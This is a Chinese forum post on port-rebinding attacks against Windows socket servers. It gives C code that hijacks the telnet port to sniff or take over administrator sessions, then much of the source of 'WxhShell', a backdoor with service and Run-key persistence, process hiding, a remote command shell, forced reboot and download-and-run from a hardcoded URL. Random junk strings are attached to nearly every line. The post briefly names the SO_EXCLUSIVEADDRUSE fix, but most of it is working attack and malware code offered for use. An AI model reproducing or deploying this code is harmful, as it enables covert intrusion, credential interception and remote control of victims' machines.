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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *#>(P  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %dnpO|L  
zAM9%W2v_  
  saddr.sin_family = AF_INET; #tA9`!  
n\D/WLvM  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); a]fFR~ OY  
0 cKsGDm  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); jj2=|)w$3  
)jl@ hnA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8hS^8  
#!z-)[S.+  
  这意味着什么?意味着可以进行如下的攻击: zqt<[=O  
kJ"rRsK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %[KnpJ{\  
7r?,wM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %t,42jQ9  
1lIs jBo g  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 USEmD5q  
&Qda|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Z?xaXFm_  
){P`-ZF  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 X\!q8KEpR&  
1J1Jp|j.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {J1rjrPo  
p*jU)@a0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2m*ugBO;  
<<S4l~"o  
  #include  U%r{{Q1  
  #include i#YDdz  
  #include B/3~[ '  
  #include    X~m57 b j  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s[{8:Px  
  int main() *IbDA  
  { VB  |k  
  WORD wVersionRequested; +7OE,RoQ  
  DWORD ret; wT+60X'  
  WSADATA wsaData; `2U,#nZ 4  
  BOOL val; Eyf17  
  SOCKADDR_IN saddr; jo"+_)]  
  SOCKADDR_IN scaddr; *{5}m(5F  
  int err; < q(i(%  
  SOCKET s; bZWR. </  
  SOCKET sc; E l.eK9L  
  int caddsize; Bz ,D4 E$  
  HANDLE mt; Us "G X_  
  DWORD tid;   C`Vuw|Xl  
  wVersionRequested = MAKEWORD( 2, 2 ); A<H]uQ>  
  err = WSAStartup( wVersionRequested, &wsaData ); %O%;\t  
  if ( err != 0 ) { +>it u J  
  printf("error!WSAStartup failed!\n"); p({|=+bl  
  return -1; :.H@tBi*E  
  } r{yIF~k@  
  saddr.sin_family = AF_INET;  ]igCV  
    gHUW1E  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 oKSW:A  
"AJ>pU3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .w m<l:  
  saddr.sin_port = htons(23); ;/m>c{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Jnt r"a-4  
  { 9|>y[i  
  printf("error!socket failed!\n"); ' )F@em  
  return -1; ,t1s#*j\!q  
  } /mE:2K]C  
  val = TRUE; yF` ( GU  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 O{]}{Ss  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .*EP$pc  
  { N]c:8dOj  
  printf("error!setsockopt failed!\n"); 5.0;xz}#y  
  return -1; <0`"vPU  
  } R'K /\   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E.VEW;=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 AsZyPybq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 bg4VHT7?>)  
qj*BV  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5hCfi  
  { ?K}KSJ6_  
  ret=GetLastError(); |@-y+vbA*  
  printf("error!bind failed!\n"); !})3Fb  
  return -1; U/(R_U>=  
  } a~tBgy+9  
  listen(s,2); 4P24ySy9F  
  while(1) d7c m?+  
  { \v9<L'NP)  
  caddsize = sizeof(scaddr); )./'RE+(k  
  //接受连接请求 !q PUQ+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); QPF[D7\  
  if(sc!=INVALID_SOCKET) VKrKA71Z~  
  { J Y> I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3^ &pb  
  if(mt==NULL) ;#"`]khd  
  { p7O4CP>9[  
  printf("Thread Creat Failed!\n"); 1hp@.Fv  
  break; `+@%l*TQ  
  } ]zK} X!  
  } ==j3 9  
  CloseHandle(mt);  6Ue6b$xE  
  } 8%U)EU  
  closesocket(s); G}~b  
  WSACleanup(); 5O%}.}n  
  return 0; 4]8PF  
  }   55N/[{[  
  DWORD WINAPI ClientThread(LPVOID lpParam) <~8W>Y\m  
  { !*#=7^#  
  SOCKET ss = (SOCKET)lpParam; Bp6Evi  
  SOCKET sc; Kd,m;S\  
  unsigned char buf[4096]; CblL1q8  
  SOCKADDR_IN saddr; DwTZ<H4  
  long num; !! K=v7M  
  DWORD val; q C|re!K  
  DWORD ret; Wj*6}N/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @o^sp|k !  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ul@' z|  
  saddr.sin_family = AF_INET; da^9Fb  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (c*Dvpo1  
  saddr.sin_port = htons(23); 3 \WdA$Wx  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Rx<pV_|H,  
  { Tp6ysjao  
  printf("error!socket failed!\n"); JT-Zo OZ  
  return -1; r#~6FpFVK^  
  } bU,& |K/  
  val = 100; lJ,s}l7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3a S>U #  
  { q.X-2jjpx:  
  ret = GetLastError(); M*{e e0\`r  
  return -1; 5astv:p,P  
  } ]- `{kX  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #sHP\|rA  
  { ^b.J z}  
  ret = GetLastError(); Zj0&/S  
  return -1; Te/)[I'Tn  
  } ixkg,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g/yXPzLU  
  { 1f:k:Y9i  
  printf("error!socket connect failed!\n"); [)=FZF6kG  
  closesocket(sc); 8YJ({ Ou_  
  closesocket(ss); ;Os3 !  
  return -1; }bTMeCgI  
  } eyWwE%  
  while(1) ~!OjdE!u  
  { &_6:TqJ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +Lr0i_al  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6bn-NY:i  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %"6IAt  
  num = recv(ss,buf,4096,0); >JMKEHl.q  
  if(num>0) 5%$#3LT|  
  send(sc,buf,num,0); rG]Xgq"   
  else if(num==0) re*/JkDq3K  
  break; !]nCeo  
  num = recv(sc,buf,4096,0); D. e*IP1R  
  if(num>0) 5W48z%MN  
  send(ss,buf,num,0); ^s*} 0  
  else if(num==0) ;F Bc^*q  
  break; L5W>in5(  
  } [`lAc V<  
  closesocket(ss); GwULtRa/  
  closesocket(sc); ~83P09\T%  
  return 0 ; #rwR)9iC0  
  } G dU W$.  
loJ0PY'}=  
-G 'lyH  
========================================================== = !X4j3Cv  
[1U_c*;i  
下边附上一个代码,,WXhSHELL p3o?_ !Z  
vo-{3]u#=  
========================================================== u"jnEKN0y  
"q .uiz+1:  
#include "stdafx.h" nmGHJb,$  
'Ot[q^,KRG  
#include <stdio.h> De_</1Au!2  
#include <string.h> `N|CL  
#include <windows.h> @El<"\  
#include <winsock2.h> %"zJsYQ!  
#include <winsvc.h> i`$rzXcS  
#include <urlmon.h> fna>>  
s_LSs yqo  
#pragma comment (lib, "Ws2_32.lib") B(LV22#  
#pragma comment (lib, "urlmon.lib") MV}]i@ V  
j+hoj2(  
#define MAX_USER   100 // 最大客户端连接数 Cj+=9Dc  
#define BUF_SOCK   200 // sock buffer v_0!uT5~NE  
#define KEY_BUFF   255 // 输入 buffer P1n@E*~V5  
MavO`m&Cg  
#define REBOOT     0   // 重启 }i:'f 2/  
#define SHUTDOWN   1   // 关机 FF/R_xnx  
Gu).*cU  
#define DEF_PORT   5000 // 监听端口 w ZAXfNA  
#+0 R!Y  
#define REG_LEN     16   // 注册表键长度 p%1m&/ `F  
#define SVC_LEN     80   // NT服务名长度 bobkT|s^s  
^E17_9?  
// 从dll定义API Y +54z/{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Yur)_m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nh)R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {2^ @jD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GN c|)$  
]H~,K]@.  
// wxhshell配置信息 I;H9<o5  
struct WSCFG { {1|7N GQ  
  int ws_port;         // 监听端口 >r3< O=Z7  
  char ws_passstr[REG_LEN]; // 口令  22~X~=  
  int ws_autoins;       // 安装标记, 1=yes 0=no cV,Dl`1r  
  char ws_regname[REG_LEN]; // 注册表键名 , % jTXb  
  char ws_svcname[REG_LEN]; // 服务名 lG>e6[Wc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m?$G(E5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8T )ELhTj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,D,f9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bGc|SF<V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C&N4<2b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [Od9,XBa  
:~R Fy?xRa  
}; 4^_Au^8R(  
PJ:5Lb<  
// default Wxhshell configuration +N:6wZ7<f  
struct WSCFG wscfg={DEF_PORT, l zPS RT  
    "xuhuanlingzhe", yc=#Jn?S  
    1, @k6}4O?{  
    "Wxhshell", M;V#Gm  
    "Wxhshell", ]f-'A>MC  
            "WxhShell Service", T ) f_W  
    "Wrsky Windows CmdShell Service", X3iRR{< @  
    "Please Input Your Password: ", 9~%]|_(  
  1, )h_ 7 2  
  "http://www.wrsky.com/wxhshell.exe", wf< `J/7u  
  "Wxhshell.exe" =M{CZm  
    }; |O+>#  
T xxB0  
// 消息定义模块 mW0&uSM D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4$DliP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }6,bq`MN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s1 ^mk]  
char *msg_ws_ext="\n\rExit."; J~'Q^O3@  
char *msg_ws_end="\n\rQuit."; Mth`s{sATa  
char *msg_ws_boot="\n\rReboot..."; -L3 |9k  
char *msg_ws_poff="\n\rShutdown..."; P| P fG=  
char *msg_ws_down="\n\rSave to "; .P :f  
'7LJuMp$#  
char *msg_ws_err="\n\rErr!"; akc"}+-oX  
char *msg_ws_ok="\n\rOK!"; S]%U]  
AH 87UkNL  
char ExeFile[MAX_PATH]; n5* {hi  
int nUser = 0; b|8>eY  
HANDLE handles[MAX_USER]; IQi[g~E.5  
int OsIsNt; ji)4WG/1  
MD ?F1l"}%  
SERVICE_STATUS       serviceStatus; !0csNg!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a.&#dxgW[  
)C01f ZhD  
// 函数声明 &G@-yQ  
int Install(void); U>_\  
int Uninstall(void); A;WwS?fyQ  
int DownloadFile(char *sURL, SOCKET wsh); PVS<QN%  
int Boot(int flag); CX ]\Q-y  
void HideProc(void); /$Tl#   
int GetOsVer(void); R4~zL!7;  
int Wxhshell(SOCKET wsl); h6T/0YhWLP  
void TalkWithClient(void *cs); #C,f/PXfaB  
int CmdShell(SOCKET sock); Gz[ym j)5  
int StartFromService(void); |h=+&*(:  
int StartWxhshell(LPSTR lpCmdLine); sAD P~xvU  
R|)2Dg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y zBA{FE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *n*N|6 +  
SC $`  
// 数据结构和表定义 bhqq  
SERVICE_TABLE_ENTRY DispatchTable[] = iy.%kHC  
{ !,6v=n[Nz  
{wscfg.ws_svcname, NTServiceMain}, BheEI;}  
{NULL, NULL} 4I#eC#"  
}; C>:/(O  
Yf!*OGF  
// 自我安装 kToVBU$  
int Install(void) |:(23O  
{ SA(UD   
  char svExeFile[MAX_PATH]; t;LX48 TQ  
  HKEY key; Z4HA94  
  strcpy(svExeFile,ExeFile); ^0`<k  
uFm+Y]h  
// 如果是win9x系统,修改注册表设为自启动 gP %|:"  
if(!OsIsNt) { |,1bkJt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }l}yn@hYC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @Ge>i5q  
  RegCloseKey(key); |YE,) kiF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V{T{0b" \U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S7UZGGjTk  
  RegCloseKey(key); |ilv|UV  
  return 0; &$b\=  
    } uO ?Od  
  } Gq0]m  
} SY$J+YBLM  
else { (@KoqwVWc  
"xDx/d8B  
// 如果是NT以上系统,安装为系统服务 _}I(U?Q-C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yV J dZI  
if (schSCManager!=0) c?!YFm  
{ 2/v35| ?  
  SC_HANDLE schService = CreateService ggm2%|?X  
  ( yHWi [7$  
  schSCManager, _e?q4>B)c  
  wscfg.ws_svcname, :H!(?(Pie  
  wscfg.ws_svcdisp, VX^o"9Ntl  
  SERVICE_ALL_ACCESS, E\]OySC%C$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G}!7tU  
  SERVICE_AUTO_START, *<*0".#  
  SERVICE_ERROR_NORMAL, Z0 [)u_<  
  svExeFile, zU f>db  
  NULL, <`R|a *  
  NULL, ~Na=+}.q_  
  NULL, IPl@ DH  
  NULL, On{~St'V  
  NULL .q0218l:dF  
  ); $?FS00p*|X  
  if (schService!=0) gEZwW]r-  
  { ="uKWt6n'  
  CloseServiceHandle(schService); ,c4c@|Bh?  
  CloseServiceHandle(schSCManager); CY*ngi&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v!NB~"LQ  
  strcat(svExeFile,wscfg.ws_svcname); 8G0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e#>tM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uy/y wm/?=  
  RegCloseKey(key); )Vwj9WD  
  return 0; :8p&#M  
    } %&^Q(f  
  } &EAk z  
  CloseServiceHandle(schSCManager); j~M#Ss-H8  
} ,f} h}  
} 6( >3P  
9<xTu>7J  
return 1; [f<"p[  
} G/v|!}?wG  
c]A Y  
// 自我卸载 :e1'o  
int Uninstall(void) w[ Axs8N'  
{ - #3{{  
  HKEY key; ; D1FAz  
rmOQ{2}  
if(!OsIsNt) { 7t'(`A 6t/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :/+>e IE  
  RegDeleteValue(key,wscfg.ws_regname); RnHQq'J|\  
  RegCloseKey(key); l`SK*Bm~<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $Axng J c  
  RegDeleteValue(key,wscfg.ws_regname); K!GUv{fp  
  RegCloseKey(key); zQ,f5x  
  return 0; YzVN2f!n  
  } m7JPH7P@BM  
} ya:sW5fk  
} x_yF|]aI!  
else { aiYo8+{!#  
9oEpPL5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +9RJ%i&Ec  
if (schSCManager!=0) Bb~5& @M|N  
{ |V lMma z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  L#n}e7Y9  
  if (schService!=0) !~WZ_z  
  { &`\ep9  
  if(DeleteService(schService)!=0) { 29%=:*R$  
  CloseServiceHandle(schService); cST\~SUm  
  CloseServiceHandle(schSCManager); ei@3,{~5  
  return 0; ^]VcxKUJ  
  } >)LAjwhBp  
  CloseServiceHandle(schService); J;~E<_"Hn  
  } wS V@=)H\:  
  CloseServiceHandle(schSCManager); %VWp&a8  
} QP:9%f>=  
} \*uugw,\y  
#pX8{Tf[  
return 1; ^p,3)$  
} I]jX7.fx  
#7o0dE;Kg9  
// 从指定url下载文件 k {a)gFH O  
int DownloadFile(char *sURL, SOCKET wsh) DcN"=Y  
{ 6GzzG P^  
  HRESULT hr; 4`s)ue  
char seps[]= "/"; \#++s&06  
char *token; ailG./I+  
char *file; =5ug\S  
char myURL[MAX_PATH]; 80}4/8  
char myFILE[MAX_PATH]; .a,(pq Jg  
r{S=Z~J  
strcpy(myURL,sURL); LJWTSf"f?  
  token=strtok(myURL,seps); <1 S+ '  
  while(token!=NULL) <GaT|Hhc=  
  { ,Aj }]h\L  
    file=token; #EG?9T  
  token=strtok(NULL,seps); K_>/lirE?  
  } #/ +I*B*y  
r1G8]agO  
GetCurrentDirectory(MAX_PATH,myFILE); )|RZa|`-G  
strcat(myFILE, "\\"); A*F9\mj I5  
strcat(myFILE, file); Hd 0Xx}3&  
  send(wsh,myFILE,strlen(myFILE),0); @8zT'/$  
send(wsh,"...",3,0); 4gOgWBv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W`x)=y]Z  
  if(hr==S_OK) C8.W5P[U  
return 0; E*k([ZL  
else ~C| ,b"  
return 1; BFh$.+D  
E eB3 }  
} r?^"6 5 =  
1Nj=B_T  
// 系统电源模块 \Yq0 zVol  
int Boot(int flag) l3p3tT3+  
{ W 2<3C  
  HANDLE hToken; Pq?*C;D  
  TOKEN_PRIVILEGES tkp; v459},!P  
h<% U["   
  if(OsIsNt) { X$V|+lTk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7/"@yVBW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7|Dn+ =  
    tkp.PrivilegeCount = 1; a#y{pT2 b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SF< [FM%1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9p`r7:  
if(flag==REBOOT) { _|<BF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )GJP_*Ab  
  return 0; aZKXD! 4  
} cPuHLwwYf  
else { |I^y0Q:K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Spgg+;9  
  return 0; 6Z8l8:r-6  
} sRq U]i8l  
  } 85z;Zt0{  
  else { I4il R$jg  
if(flag==REBOOT) { :Jl Di>B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ttv'k*$cP  
  return 0; x=,8[W#XT  
} -H\,2FO  
else { >nry0 ;z0,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J]fS({(\I  
  return 0; LgHJo-+>  
} GMm'of#  
} r1Z<:}ZwK  
{?i)K X^  
return 1; C).2gQ G  
} 0JXqhc9'  
7Fl-(Nv`  
// win9x进程隐藏模块 0=;YnsY  
void HideProc(void) e<5Y94YE  
{ >IY,be6>P  
`o si"o9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uRQ_'l  
  if ( hKernel != NULL ) p5<2N  
  { r7I B{}>-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xo WT*f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  (M`|'o!  
    FreeLibrary(hKernel); 8#59iQl  
  } YKs4{?vw  
s, XM9h>P4  
return; VPd,]]S5(  
} A}G|Yfn  
9#rt:&xo0  
// 获取操作系统版本 NHiq^ojk  
int GetOsVer(void) &qRJceT(  
{ Q6^x8  
  OSVERSIONINFO winfo; }.{}A(^YR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~HDdO3  
  GetVersionEx(&winfo); k/lFRi-i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +v15[^F  
  return 1; k^%_V|&W/(  
  else D;js.ZF  
  return 0; 2P5_zND  
} k'+}92 o  
!k<:k "7  
// 客户端句柄模块 P(h5=0`*PR  
int Wxhshell(SOCKET wsl) uD)-V;}P@;  
{ !T'X 'Q  
  SOCKET wsh; .ECHxDp  
  struct sockaddr_in client; b3U6;]|x  
  DWORD myID; 9?`RR/w  
X+ f9q0  
  while(nUser<MAX_USER) ._<ii2K'  
{ -G b-^G  
  int nSize=sizeof(client); e.;M.8N#SQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  c8DZJSO  
  if(wsh==INVALID_SOCKET) return 1; gfo}I2"  
&" h]y?Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H_B~P%E@]  
if(handles[nUser]==0) (pYYkR"  
  closesocket(wsh); Y}.Ystem  
else V5 MO}  
  nUser++; B\_[R'Pf&  
  } OFy,B-`A{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =A n`D  
Tsz NlRxc  
  return 0; &!1}`4$[T  
} OM!=ViN(=  
u O'/|[`8  
// 关闭 socket 6?SFNDQ"C  
void CloseIt(SOCKET wsh) 1K[(ou'rl  
{ JR1 *|u  
closesocket(wsh); nem@sB;v#  
nUser--; :p-Y7CSSu  
ExitThread(0); nW5K[/1D  
} f\}22}/  
4e9E' "8%  
// 客户端请求句柄 %#k,6 ;m  
void TalkWithClient(void *cs) gaeOgP.0  
{ ~B_ D@gV|  
Q]\j>>  
  SOCKET wsh=(SOCKET)cs; #&siHHs \  
  char pwd[SVC_LEN]; 6%?A>  
  char cmd[KEY_BUFF]; ']?=[`#NL  
char chr[1]; ?}sOG?{  
int i,j; KO,_6>8]U  
(~#G'Hd  
  while (nUser < MAX_USER) { ;BI)n]L  
Gah lS*W  
if(wscfg.ws_passstr) { A,c'g}:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V2<i/6~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d@g2k> >  
  //ZeroMemory(pwd,KEY_BUFF); @HEPc95  
      i=0; 263*: Y  
  while(i<SVC_LEN) { },PBqWe  
:`J>bHE  
  // 设置超时 uaxB -PZ  
  fd_set FdRead; jo0Pd_W8&  
  struct timeval TimeOut; z%};X$V`J  
  FD_ZERO(&FdRead); W)-hU~^OM  
  FD_SET(wsh,&FdRead); _,Q[2gQ5N  
  TimeOut.tv_sec=8; d_T<5Hin  
  TimeOut.tv_usec=0; "Ot{^ _e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yW> RRE;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); };p~A-E=  
c[{UI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {^wdJZ~QLK  
  pwd=chr[0]; XRa#2 1pQ  
  if(chr[0]==0xd || chr[0]==0xa) { )E`+BH  
  pwd=0; Wp4K6x  
  break; o2}N=|&  
  } +H}e)1^ I  
  i++; [q$e6JwAt  
    } %MuaW(I o  
KZ3B~#oQ  
  // 如果是非法用户,关闭 socket O PiaG!3<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N 8}lt  
} 6n-r  
_BwKY#09Zp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4W-"|Z_x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e YDUon  
LE| <O  
while(1) { xgs@gw7!n0  
%,;gP.dh7  
  ZeroMemory(cmd,KEY_BUFF); e>!E=J)j  
M8_R  
      // 自动支持客户端 telnet标准   %`oHemSy  
  j=0; Gl;f#}  
  while(j<KEY_BUFF) { J {!'f| J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sMX$Q45e  
  cmd[j]=chr[0]; to51hjV  
  if(chr[0]==0xa || chr[0]==0xd) { g? I!OG  
  cmd[j]=0; 4y>(RrVG  
  break; a7 =YG6[  
  } QES^^PQe:  
  j++; p}BGw:=  
    } 7@@<5&mN  
952V@.Zp  
  // 下载文件 Iy.mVtcsZ  
  if(strstr(cmd,"http://")) { % GVN4y&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nj"m^PmWo3  
  if(DownloadFile(cmd,wsh)) L?Tu)<Mn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #@q1Ko!NZ  
  else lfgtcR{l5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SlN"(nq  
  } L,W:,i/C  
  else { UI_v3c3b  
u`+ 'lBE,  
    switch(cmd[0]) { K?JV]^  
  X7b!;%3@  
  // 帮助 py.!%vIOQ  
  case '?': { )tCx5 9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P]- #wz=S  
    break; ]6q*)q:`  
  } hu&n=6  
  // 安装 IOS^|2:,  
  case 'i': { N-xnenci  
    if(Install()) q6Rw4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .}`V I`z*  
    else lj Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "5 y<G:$+~  
    break; i!tc  
    } w~p4S+k&  
  // 卸载 Z|}H^0~7S  
  case 'r': { lqauk)(A0  
    if(Uninstall()) qA04Vc[2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aI 7Xq3  
    else ;tm3B2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g4i #1V=  
    break; :ET x*c  
    } w gmWo8  
  // 显示 wxhshell 所在路径 oH=4m~'V  
  case 'p': { y>4p~  
    char svExeFile[MAX_PATH]; s *K:IgJ/  
    strcpy(svExeFile,"\n\r"); R&gWqt/  
      strcat(svExeFile,ExeFile); i:;$oT  
        send(wsh,svExeFile,strlen(svExeFile),0); 80dSQ"y  
    break; 2UQN*_  
    } y)IGTW o  
  // 重启 LMt0'Ml9  
  case 'b': { Sio1Q0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n&(3o6i'  
    if(Boot(REBOOT)) $tEdBnf^ca  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e#K rgUG  
    else { 2m|Eoc&M_  
    closesocket(wsh); gfV]^v  
    ExitThread(0); .V7Y2!4TE  
    } !,I7 ?O  
    break; SlR7h$r'  
    } *Rz!i m|  
  // 关机 0kkRK*fp}x  
  case 'd': { /5&3WG&<u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =`rppO  
